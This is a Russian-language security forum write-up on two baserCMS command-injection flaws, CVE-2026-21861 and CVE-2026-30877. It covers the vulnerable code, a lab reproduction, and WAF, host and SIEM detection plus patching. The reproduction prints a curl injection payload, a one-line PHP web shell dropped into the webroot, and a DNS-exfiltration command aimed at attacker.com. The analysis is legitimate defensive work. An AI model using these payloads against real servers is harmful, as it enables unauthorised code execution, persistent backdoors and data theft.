Сергей Попов
Администратор
- 30.12.2015
- 6 211
- 6 957
- Специализация
- OSINT
- Веб-безопасность
- Статус верификации
- ✓ Verified
При diff'е патча baserCMS 5.2.3 нашлось то, что в 2026 году не ожидаешь увидеть в production-коде: POST-параметр
php из формы обновления ядра конкатенируется в строку и уходит напрямую в exec() - без escapeshellarg(), без allowlist, без какой-либо проверки. Просто голый пользовательский ввод в shell-команде. CISA-ADP присвоила CVE-2026-21861 статус exploitation=poc - концептуальный PoC есть в самом security advisory, хотя независимого эксплойта в Exploit-DB на момент публикации нет. Ниже - разбор уязвимого кода, воспроизводимая цепочка эксплуатации baserCMS и конкретные шаги для детектирования на уровне WAF, хоста и SIEM.Бизнес-логика атаки: зачем RCE через админку CMS
На каждом разборе подобных CVE звучит вопрос: «Атакующий уже admin - что ему ещё нужно?» Ответ - в CVSS-флагеS:C (Changed Scope). Администратор baserCMS управляет контентом: создаёт страницы, загружает медиафайлы, настраивает плагины. OS command injection выводит за рамки приложения на уровень операционной системы:- Credential harvesting - чтение DB-credentials из конфигурации CakePHP (
app_local.php,.env), SSH-ключей, токенов API. Доступ к базе минуя CMS-интерфейс - Persistence - запись PHP web shell в webroot. Сессия CMS может протухнуть, а shell останется
- Lateral movement - reverse shell для pivot'а к другим сервисам: база данных, очереди сообщений, внутренние API на том же хосте или в сети
- Full OS control - всё, что может пользователь
www-data: чтение/etc/passwd, запись в/tmp, запуск произвольных бинарников
Анатомия CVE-2026-21861 и CVE-2026-30877
Уязвимый код: от POST-параметра до exec()
CVE-2026-21861 затрагивает контроллерPluginsController, метод get_core_update(), endpoint /baser/admin/baser-core/plugins/get_core_update. Согласно advisory GHSA-qxmc-6f24-g86g, поток данных при штатном обновлении ядра такой:- Администратор инициирует обновление в панели управления
- Браузер шлёт POST-запрос с параметрами
targetVersion,php,force PluginsController::get_core_update()достаётphpиз$request->getData('php')с дефолтным значением'php'- Значение передаётся в
PluginsService::getCoreUpdate($targetVersion, $php, $force) - Сервис собирает shell-команду конкатенацией и вызывает
exec()
PluginsService.php (на основе текстового описания в GHSA-qxmc-6f24-g86g, точный код не опубликован):
PHP:
$command = $php . ' ' . ROOT . DS . 'bin' . DS . 'cake.php composer ' .
$targetVersion . ' --php ' . $php . ' --dir ' . TMP . 'update';
exec($command, $out, $code);
$php фигурирует в команде дважды - в начале как путь к PHP-бинарнику и после --php как аргумент. Advisory также рекомендует применить escapeshellarg() к $targetVersion и другим аргументам - они тоже не экранируются, хотя основной вектор атаки именно через php.Ни
escapeshellarg(), ни regex-валидация, ни allowlist не применяются ни к одному из параметров. Спецсимволы ;, |, &&, обратные кавычки и $() проходят без фильтрации.Классификация слабости: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) - конструирование OS-команды с внешним вводом без нейтрализации спецсимволов. Родительские слабости - CWE-77 (Command Injection) и CWE-74 (Injection). Связанная слабость - CWE-88 (Improper Neutralization of Argument Delimiters), поскольку payload использует
; как разделитель команд в shell.Критичность по NVD: CVSS 9.1 (CRITICAL), вектор
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.Почему CSRF-защита не помогает. baserCMS построена на CakePHP с SecurityComponent (CSRF/FormProtection). Но это не спасает от exec injection PHP уязвимости по простой причине: атакующий имеет легитимную admin-сессию и получает валидный CSRF-токен штатным образом. Запрос формально легитимен - правильный endpoint, правильный HTTP-метод, валидный токен. SecurityComponent подтверждает авторизованную сессию - а она именно такая. Скрытие кнопки обновления в UI бесполезно: endpoint остаётся доступным через прямой HTTP-запрос с
curl или Burp Repeater. Это design-level issue на уровне серверного кода, не UI-баг и не проблема CSRF.CVE-2026-30877: вторая точка входа в том же модуле
CVE-2026-30877 описывает аналогичную OS command injection в CMS, но формулировка на cve.org чуть иная: «there is an OS command injection vulnerability in the update functionality» - без уточнения «core update». Метрики идентичны первому CVE: CVSS 9.1, CWE-78, исправление в 5.2.3. По данным OSV.dev оба CVE затрагивают пакетbaserproject/basercms во всех версиях от 0 до 5.2.3.| Параметр | CVE-2026-21861 | CVE-2026-30877 |
|---|---|---|
| CVSS | 9.1 CRITICAL | 9.1 CRITICAL |
| CWE | CWE-78 | CWE-78 |
| Компонент | Core update (get_core_update) | Update functionality |
| EPSS (FIRST.org, 2026-07-31) | 0.0228, 81-й перцентиль | 0.0152, 72-й перцентиль |
| PoC-статус (CISA SSVC) | poc (concept-код в advisory) | none |
| Automatable (CISA SSVC) | Нет | Нет |
| Technical Impact | Total | Total |
| Исправлено | 5.2.3 | 5.2.3 |
Обе критические уязвимости baserCMS 2026 года исправлены в одном релизе. Два CVE, один diff - скорее всего, два разных injection-вектора, найденных в ходе одного аудита кода обновления.
Разбор CVSS-вектора и оценка риска
Вектор:CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H- AV:N - атака по сети, физический доступ не нужен
- AC:L - payload тривиален, специальных условий нет
- PR:H - нужны привилегии администратора CMS (не ОС)
- UI:N - взаимодействие жертвы не требуется
- S:C (Changed Scope) - ключевой флаг: уязвимость в CMS-приложении даёт impact на уровне ОС, выход за границы приложения. Без этого флага score был бы существенно ниже
- C:H / I:H / A:H - полная компрометация конфиденциальности, целостности и доступности
CISA SSVC для CVE-2026-21861: решение Track* (следить, готовить патч; exploitation=poc). Для CVE-2026-30877 - Track (exploitation=none), технический PoC документирован только для первой уязвимости. Technical Impact:
total. Automatable: no - массовая автоматическая эксплуатация маловероятна (нужен admin-аккаунт), но при целевой атаке impact максимальный. Удалённое выполнение кода baserCMS через эту цепочку не требует сложных preconditions кроме admin-credentials.Цепочка эксплуатации baserCMS: пошаговый разбор
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
→ web shell для persistence → lateral movement в сеть. Собирается за минуты при наличии admin-credentials.
Пошаговое воспроизведение на стенде
Шаг 1. Получить admin-сессию в baserCMS. На стенде - credentials по умолчанию. На реальном пентесте baserCMS - через утечку, credential stuffing или social engineering.Шаг 2. Извлечь CSRF-токен: GET-запрос к странице обновления, парсинг
_csrfToken и _Token[fields] из HTML-формы. В Burp Suite проще - перехватить легитимный запрос обновления и модифицировать параметр php. Именно перехват и модификация реального запроса из браузера, потому что CakePHP FormProtectionComponent проверяет не только CSRF-токен, но и набор разрешённых полей формы - прямой curl-запрос может быть отклонён, если не воспроизведены все скрытые поля.Шаг 3. Отправить POST с payload. Концептуальная иллюстрация паттерна инъекции (не дословный PoC из advisory, точная структура shell-команды может отличаться):
Bash:
# ; завершает легитимную команду, id выполняется, # комментирует остаток
curl -X POST 'https://target/baser/admin/baser-core/plugins/get_core_update' \
-H 'Cookie: PHPSESSID=<session>' \
-d '_csrfToken=<token>&php=php;id>/tmp/rce_test;%23&targetVersion=5.2.2'
php=php;id>/tmp/rce_test;# работает так: exec() получает команду, начинающуюся с php;id>/tmp/rce_test;#.... Shell интерпретирует ; как разделитель команд, выполняет id с перенаправлением в файл, а # комментирует всё, что идёт дальше.Шаг 4. Проверить результат. Это blind command injection - результат не возвращается в HTTP-ответе, нужен side-channel. На стенде:
Bash:
docker exec bc-php cat /tmp/rce_test
# uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
www-data. Дальше - запись web shell для persistence: payload php=php;echo '<?php system($_GET["c"]); ?>' > /var/www/html/s.php;# создаёт минимальный backdoor в webroot.Что видно в ответе сервера: HTTP 200 с JSON или HTML от CMS. Инъецированная команда выполняется до формирования ответа, но её вывод не отражается в теле. Для извлечения данных через HTTP - запись в webroot и чтение через GET. Для закрытых сетей: DNS-exfiltration (
php;nslookup $(whoami).attacker.com;#) или time-based (php;sleep 5;# - замер задержки ответа).Минилаб для отработки
Требования к окружению:- ОС: Linux / macOS / Windows с Docker
- RAM: минимум 512 МБ для контейнера (рекомендуется 1 ГБ)
- Docker + Docker Compose
- curl или Burp Suite Community Edition
- Сеть: локальная, outbound не требуется
- Развернуть baserCMS < 5.2.3 в Docker (образ с PHP 8.1+, MySQL/MariaDB)
- Пройти wizard установки, создать admin-учётку
- Воспроизвести payload из шага 3 выше
- Проверить
/tmp/rce_test- выводidозначает подтверждение remote code execution CMS
diff -r на plugins/baser-core/src/Service/PluginsService.php. Искать замену пользовательского ввода $php на серверную константу PHP_BINARY и добавление escapeshellarg() к другим аргументам. Рекомендация advisory: $php = escapeshellarg(PHP_BINARY); - пользовательский ввод из формирования shell-команды исключается полностью.Детектирование OS command injection в baserCMS
На уровне WAF:- ModSecurity CRS: категория правил 930100-930120 покрывает паттерны command injection в POST-параметрах. Для baserCMS - правило на endpoint
/baser/admin/baser-core/plugins/get_core_updateс инспекцией тела запроса на спецсимволы - Nginx: если обновление через web-интерфейс не используется -
location ~ /baser/admin/baser-core/plugins/get_core_update { return 403; }
auditd: правило наexecveот пользователяwww-dataс аргументами, содержащими;,|,&&- нетипичное поведение для PHP-FPM- Мониторинг файловой системы (inotify/auditd): появление новых
.phpфайлов в webroot - индикатор web shell (T1505.003) - Проверка
crontab -u www-data -lна подозрительные записи - индикатор persistence
- Корреляция: POST-запрос к
/baser/admin/baser-core/plugins/get_core_update+ нетипичный child-процесс от PHP-FPM в окне 5 секунд - Baseline: если CMS обновляется планово раз в месяц, любой запрос к endpoint обновления вне согласованного окна - аномалия, требующая расследования
- Алерт на DNS-запросы от
www-dataк нестандартным доменам - индикатор DNS-exfiltration после успешной инъекции
Чеклист патчинга и харденинга baserCMS
- Обновить пакет:
composer update baserproject/basercmsдо версии >= 5.2.3 - Проверить установленную версию:
composer show baserproject/basercms | grep versions- убедиться >= 5.2.3 - Если обновление невозможно - заблокировать endpoint
/baser/admin/baser-core/plugins/get_core_updateна reverse proxy (nginx или Apache) - Проверить
php.ini: рассмотреть добавлениеexec,system,passthru,shell_execвdisable_functions(ломает штатное обновление CMS и потенциально другой функционал - взвесьте) - Провести ревизию access-логов за весь период работы уязвимой версии: искать POST-запросы к endpoint обновления с нестандартными значениями параметра
php(содержащие;,|,&&, обратные кавычки) - При обнаружении следов эксплуатации: проверить webroot на web shell,
crontabпользователяwww-data, SSH-ключи в/var/www/.ssh/, bash-историю, новых пользователей в/etc/passwd - Настроить WAF-правило на command injection для admin-endpoint'ов baserCMS
- Рассмотреть AppArmor/SELinux-профиль для PHP-FPM, ограничивающий
execvechild-процессов и запись в директории вне webroot
S:C) в CVSS-векторе здесь не формальность - он буквально означает, что баг в веб-приложении даёт контроль над ОС.EPSS на 81-м перцентиле для CVE-2026-21861 (exploitation=poc, SSVC Track*) и 72-м для CVE-2026-30877 (exploitation=none, SSVC Track). CISA оценивает автоматизируемость как
no - массовые сканеры вряд ли подхватят, нужен admin-аккаунт. Но при целевой атаке - credential stuffing плюс этот CVE - цепочка от «подобрал пароль» до «пишу web shell» собирается за считанные минуты. baserCMS активно используется в японском сегменте, где security-аудиты web-приложений проводятся неравномерно, и незапатченных инсталляций хватает. Если интересно посмотреть, как подобный injection-примитив превращается в полноценную цепочку на живом стенде - на HackerLab есть задачи по web-exploitation, где именно этот навык отрабатывается от начала до конца.